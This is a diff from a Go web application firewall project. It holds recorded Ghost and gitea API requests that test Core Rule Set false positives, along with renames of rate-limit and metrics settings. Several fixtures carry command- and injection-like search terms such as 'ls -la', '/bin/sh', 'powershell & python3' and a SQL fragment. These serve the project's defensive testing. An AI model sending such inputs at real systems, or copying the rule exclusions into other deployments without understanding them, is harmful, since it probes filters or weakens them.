{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
|
||||
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
|
||||
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 & powershell both work.</p>\"}]}"}
|
||||
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||
-142
@@ -381,148 +381,6 @@
|
||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
||||
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
|
||||
# The API's searches that gitea and Forgejo share, sent with curl to gitea
|
||||
# 1.27.3. Each searches for words that name commands and files, such as python3
|
||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
||||
# search of unadopted repositories takes an owner and a name.
|
||||
/api/v1/repos/search?q=python3&limit=10
|
||||
/api/v1/repos/search?q=powershell&limit=10
|
||||
/api/v1/repos/search?q=ls%20-la&limit=10
|
||||
/api/v1/repos/search?q=.htaccess&limit=10
|
||||
/api/v1/repos/search?q=docker-compose.yml&limit=10
|
||||
/api/v1/repos/search?q=tools&limit=10
|
||||
/api/v1/users/search?q=python3
|
||||
/api/v1/users/search?q=powershell
|
||||
/api/v1/users/search?q=ls%20-la
|
||||
/api/v1/users/search?q=.htaccess
|
||||
/api/v1/users/search?q=bob
|
||||
/api/v1/repos/issues/search?q=python3&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=build&type=issues&state=open
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=python3
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=powershell
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
|
||||
/api/v1/packages/alice?q=python3
|
||||
/api/v1/packages/alice?q=powershell
|
||||
/api/v1/packages/alice?q=ls%20-la
|
||||
/api/v1/packages/alice?q=.htaccess
|
||||
/api/v1/packages/alice?q=%2Fbin%2Fsh
|
||||
/api/v1/packages/alice?q=install-script
|
||||
/api/v1/packages/alice?q=%40alice%2Ftools-cli
|
||||
/api/v1/topics/search?q=python3
|
||||
/api/v1/topics/search?q=powershell
|
||||
/api/v1/topics/search?q=ls%20-la
|
||||
/api/v1/topics/search?q=.htaccess
|
||||
/api/v1/topics/search?q=docker
|
||||
/api/v1/orgs/acme/teams/search?q=python3
|
||||
/api/v1/orgs/acme/teams/search?q=powershell
|
||||
/api/v1/orgs/acme/teams/search?q=ls%20-la
|
||||
/api/v1/orgs/acme/teams/search?q=.htaccess
|
||||
/api/v1/orgs/acme/teams/search?q=developers
|
||||
/api/v1/admin/emails/search?q=python3
|
||||
/api/v1/admin/emails/search?q=powershell
|
||||
/api/v1/admin/emails/search?q=ls%20-la
|
||||
/api/v1/admin/emails/search?q=.htaccess
|
||||
/api/v1/admin/emails/search?q=alice
|
||||
/api/v1/admin/unadopted?query=python3
|
||||
/api/v1/admin/unadopted?query=powershell
|
||||
/api/v1/admin/unadopted?query=ls%20-la
|
||||
/api/v1/admin/unadopted?query=.htaccess
|
||||
/api/v1/admin/unadopted?query=alice%2Fpython3-app
|
||||
/api/v1/admin/unadopted?query=alice%2Flegacy-site
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=python3
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
|
||||
|
||||
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
|
||||
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
|
||||
# requests no client sends: the Chef cookbook list with a search, and NuGet's
|
||||
# Packages() with the search in $filter, as NuGet's client builds it for a feed
|
||||
# without Search(). Each searches for words that name commands and files, such
|
||||
# as python3 and .htaccess, and for plain words. A Composer, Conan or npm name
|
||||
# can hold a slash, so those searches are also sent /bin/sh.
|
||||
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
|
||||
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
|
||||
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
|
||||
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
|
||||
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
|
||||
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
|
||||
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
|
||||
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
|
||||
/api/packages/alice/composer/search.json?q=python3&type=
|
||||
/api/packages/alice/composer/search.json?q=powershell&type=
|
||||
/api/packages/alice/composer/search.json?q=ls+-la&type=
|
||||
/api/packages/alice/composer/search.json?q=.htaccess&type=
|
||||
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
|
||||
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
|
||||
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
|
||||
/api/packages/alice/composer/search.json?q=tools&type=
|
||||
/api/packages/alice/conan/v1/conans/search?q=python3
|
||||
/api/packages/alice/conan/v1/conans/search?q=powershell
|
||||
/api/packages/alice/conan/v1/conans/search?q=ls+-la
|
||||
/api/packages/alice/conan/v1/conans/search?q=.htaccess
|
||||
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
|
||||
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
|
||||
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
|
||||
/api/packages/alice/conan/v1/conans/search?q=tools
|
||||
/api/packages/alice/conan/v2/conans/search?q=python3
|
||||
/api/packages/alice/conan/v2/conans/search?q=powershell
|
||||
/api/packages/alice/conan/v2/conans/search?q=ls+-la
|
||||
/api/packages/alice/conan/v2/conans/search?q=.htaccess
|
||||
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
|
||||
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
|
||||
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
|
||||
/api/packages/alice/conan/v2/conans/search?q=tools
|
||||
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
|
||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
|
||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
|
||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
|
||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
|
||||
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
||||
|
||||
# Pages, raw files and edit pages of files, and the API's call for their
|
||||
# contents.
|
||||
/owner/repo/src/branch/main/package.json
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||
# field of a body applies only when the query has no parameter of that name, so
|
||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
#
|
||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||
# folders, collections and sends before they send them. These values pass
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
const vaultwardenThreshold = 5
|
||||
|
||||
// Paths of Vaultwarden's API and admin page.
|
||||
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||
# of a body applies only when the query has no parameter of that name, so it
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
||||
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
||||
|
||||
@@ -66,7 +66,7 @@ type Params struct {
|
||||
URL string
|
||||
// Timeout is how long a request waits for its client's first answer,
|
||||
// and how long a request to GeoJS may take before it is abandoned
|
||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
|
||||
// (SWW_WAF_LOOKUP_TIMEOUT).
|
||||
Timeout time.Duration
|
||||
// Wait is true when a setting needs each request's answer before the
|
||||
// request goes on. Otherwise no request waits for one.
|
||||
|
||||
+17
-19
@@ -13,15 +13,14 @@ const other = "other"
|
||||
|
||||
// busiest are the metrics by one thing the lookup finds of the client,
|
||||
// its country or its AS number, for requests whose client's is known.
|
||||
// The busiestCount busiest countries or AS numbers, by their requests
|
||||
// since the start, have series of their own, and the others are counted
|
||||
// under other, so that there are never more than busiestCount + 1 series.
|
||||
// One that drops out of the busiest loses its series, and its next
|
||||
// requests are counted under other; one that becomes one of them gets a
|
||||
// series that counts from then on. Each series therefore only ever goes
|
||||
// up.
|
||||
// The topN busiest countries or AS numbers, by their requests since the
|
||||
// start, have series of their own, and the others are counted under
|
||||
// other, so that there are never more than topN + 1 series. One that
|
||||
// drops out of the busiest loses its series, and its next requests are
|
||||
// counted under other; one that becomes one of them gets a series that
|
||||
// counts from then on. Each series therefore only ever goes up.
|
||||
type busiest struct {
|
||||
busiestCount int
|
||||
topN int
|
||||
|
||||
requests *prometheus.CounterVec
|
||||
requestBytes *prometheus.CounterVec
|
||||
@@ -39,9 +38,9 @@ type busiest struct {
|
||||
}
|
||||
|
||||
// newCountries returns the metrics by country, with series of their own
|
||||
// for the busiestCount busiest countries.
|
||||
func newCountries(busiestCount int) *busiest {
|
||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||
// for the topN busiest countries.
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
countries.refused = counterVec(
|
||||
"sww_country_list_refusals_total",
|
||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
|
||||
}
|
||||
|
||||
// newASNs returns the metrics by AS number, with series of their own for
|
||||
// the busiestCount busiest AS numbers.
|
||||
func newASNs(busiestCount int) *busiest {
|
||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||
// the topN busiest AS numbers.
|
||||
func newASNs(topN int) *busiest {
|
||||
return newBusiest(topN, "asn", "the client's AS number")
|
||||
}
|
||||
|
||||
// newBusiest returns the metrics by label, which is described as
|
||||
// description, with series of their own for the busiestCount busiest
|
||||
// values.
|
||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||
// description, with series of their own for the topN busiest values.
|
||||
func newBusiest(topN int, label, description string) *busiest {
|
||||
by := []string{label}
|
||||
|
||||
return &busiest{
|
||||
busiestCount: busiestCount,
|
||||
topN: topN,
|
||||
requests: counterVec("sww_"+label+"_requests_total",
|
||||
"Requests, by "+description+".", by),
|
||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
if len(b.top) < b.busiestCount {
|
||||
if len(b.top) < b.topN {
|
||||
b.top[value] = true
|
||||
|
||||
return value
|
||||
|
||||
@@ -61,12 +61,12 @@ type Metrics struct {
|
||||
}
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// busiestCount is how many countries and how many AS numbers get series of
|
||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
|
||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
func New(busiestCount int, instanceName string) *Metrics {
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
byStatus := []string{"status_class", "action"}
|
||||
byFile := []string{"file"}
|
||||
registry := prometheus.NewRegistry()
|
||||
@@ -102,7 +102,7 @@ func New(busiestCount int, instanceName string) *Metrics {
|
||||
}),
|
||||
rateLimitHits: counterVec(
|
||||
"sww_rate_limit_hits_total",
|
||||
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
|
||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||
"its window and its kind, requests, bytes or refusals.",
|
||||
[]string{"window", "kind"},
|
||||
),
|
||||
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
|
||||
"and the rule's id.",
|
||||
[]string{"mode", "rule_id"},
|
||||
),
|
||||
countries: newCountries(busiestCount),
|
||||
asns: newASNs(busiestCount),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_requests_total",
|
||||
Help: "Requests to GeoJS.",
|
||||
@@ -465,7 +465,7 @@ func (m *Metrics) RequestReported(
|
||||
}
|
||||
|
||||
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
||||
// refusal limit, by the window and the kind of hit.
|
||||
// error burst, by the window and the kind of hit.
|
||||
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
||||
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
||||
}
|
||||
|
||||
@@ -25,7 +25,7 @@ const (
|
||||
KindRequests = "requests"
|
||||
// KindBytes is a byte limit, on a client's bytes.
|
||||
KindBytes = "bytes"
|
||||
// KindRefusals is the refusal limit, on a client's requests sww
|
||||
// KindRefusals is the error burst, on a client's requests sww
|
||||
// refused after a rule file match or for a missing or wrong token.
|
||||
KindRefusals = "refusals"
|
||||
)
|
||||
@@ -54,7 +54,7 @@ type Limiter struct {
|
||||
|
||||
// Client is a client in the table, as clients.json holds it: its buckets
|
||||
// of requests and of bytes in each window, its buckets of refusals in the
|
||||
// minute, which the refusal limit counts, and its history.
|
||||
// minute, which the error burst counts, and its history.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Client struct {
|
||||
@@ -121,7 +121,7 @@ type Responses struct {
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Offences struct {
|
||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
||||
// refusal limit, Attack those that were a clear sign of attack, a match
|
||||
// error burst, Attack those that were a clear sign of attack, a match
|
||||
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
||||
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
||||
// refused.
|
||||
@@ -147,7 +147,7 @@ type Request struct {
|
||||
RequestBytes int64
|
||||
ResponseBytes int64
|
||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
||||
// limit or the refusal limit, Attack for one that matched a ban rule or
|
||||
// limit or the error burst, Attack for one that matched a ban rule or
|
||||
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
||||
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
||||
BrokeLimit bool
|
||||
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
|
||||
}
|
||||
}
|
||||
|
||||
// Hit is a request that takes a client over a rate limit or the refusal
|
||||
// limit, or whose bytes take it over a byte limit.
|
||||
// Hit is a request that takes a client over a rate limit or the error
|
||||
// burst, or whose bytes take it over a byte limit.
|
||||
type Hit struct {
|
||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||
// KindRefusals for the refusal limit.
|
||||
// KindRefusals for the error burst.
|
||||
Kind string
|
||||
// Window is "minute", "hour" or "day".
|
||||
Window string
|
||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
||||
// CountRefusal counts a request from client at now that sww
|
||||
